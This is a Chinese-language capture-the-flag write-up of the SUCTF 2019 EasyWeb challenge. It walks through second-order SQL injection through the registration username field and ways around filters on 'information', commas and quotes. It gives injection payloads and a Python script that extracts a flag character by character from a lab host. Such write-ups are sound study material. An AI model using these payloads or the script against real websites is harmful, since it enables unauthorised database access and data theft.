[SUCTF 2019]EasyWeb 二次注入
打开界面一般有login.php都会有一个registe.php所以我们试一下
发现真的有,然后注册 邮箱 账号 密码,然后登录地时候只有邮箱和密码
这个9就是我们输入账号的值,很难不让人想到二次注入
注册发现有过滤,跑一下字典
发现过滤了information,逗号和单引号,用单引号闭合,看一下是否存在sql注入
x' and '1'='2 账号输入,如果报错说明存在sql注入,回显零所以是字符型的sql注入
试了一下,' ascii(substr(database() from 1 to 1)根本不行,然后转移思路
如果我们用 '0'+ascii(database())+'0' 就会输出第一个字符的ascii值,加0仍然是
或者进行二次hex加密,如果只进行一次hex加密,flag里面的字符和0相加会存在截断的问题,
二次hex后回出现精度的问题,这时候需要substr
所以我们可以先进行,爆破数据库名
解密hex,是web数据库,因为information被限制
0'+ select ascii(substr(group_concat(table_name) from 1 for 1)) from sys.schema_auto_increment_columns where table_schema=database() +'0
可是长度呗限制了 ,看了看wp说是直接猜表名是flag,呃呃呃
况且这些替换information语句是php5.6+才可以使用,所以
如果这么理解,数据库是web,表是flag也不过分
import requests
import time
import re
url = ' http://65d38539-8e9c-447f-b93a-1fb898aba320.node4.buuoj.cn:81/'
flag = ''
url_login = url + 'login.php'
url_register = url + 'register.php'
url_index = url + 'index.php'
for i in range(100):
time.sleep(0.2)
data_reg = {"email": "8888{}@qq.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password": "123"}
data_log = {"email": "8888{}@qq.com".format(i), "password": "123"}
r1 = requests.post(url_register, data=data_reg)
r2 = requests.post(url_login, data=data_log)
# r3=requests.get(url_index)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag + chr(int(res1.group()))
print(flag)
\s*是空格,然后\d*所有的字符,\d第一个字符
相当于group的输出,是把空格都省略掉了,应该只剩下一个 119这样的ascii数字,然后\d+就会读取我们的第一个字符就ok,邮箱要一直换,不然就会一直显示第一次注册邮箱的结果了
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
这一行是利用re库中的search方法进行搜索
要和我们前端的一致,所以为这样
r前面的是为了处理后面的转义字符串的
获得flag
总结:
学到了: select '0'+ascii(substr(database(),1,1))+'0' 会输入第一个字符的ascii
以及
select '0'+ hex(database())+'0'也会获得,不过这样可能会被阶段
select '0'+subst(hex(hex(database() )),10,20) +'0'